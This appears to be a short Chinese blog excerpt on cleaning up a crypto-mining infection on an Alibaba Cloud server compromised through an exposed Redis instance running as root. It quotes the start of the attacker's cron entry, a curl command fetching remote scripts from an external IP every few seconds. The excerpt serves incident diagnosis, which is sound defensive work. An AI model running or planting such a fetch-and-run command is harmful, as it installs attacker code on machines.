阿里云挖矿批处理病毒的解决方案

背景 打开了redis的外网端口，redis是由root用户启动，因此入侵者拿到了root权限，在批处理中加入了两个定时任务，每5秒钟去远程代理服务器（美国）获取脚本。redis 分析 查看cpu使用率较高的进程 top -c，发现是调用了tmp下的一个文件，tmp下公有多个可疑文件。 crontab -l查看，发现有两个定时任务，/5 curl -fsSL http://165.225.157.

>>阅读原文<<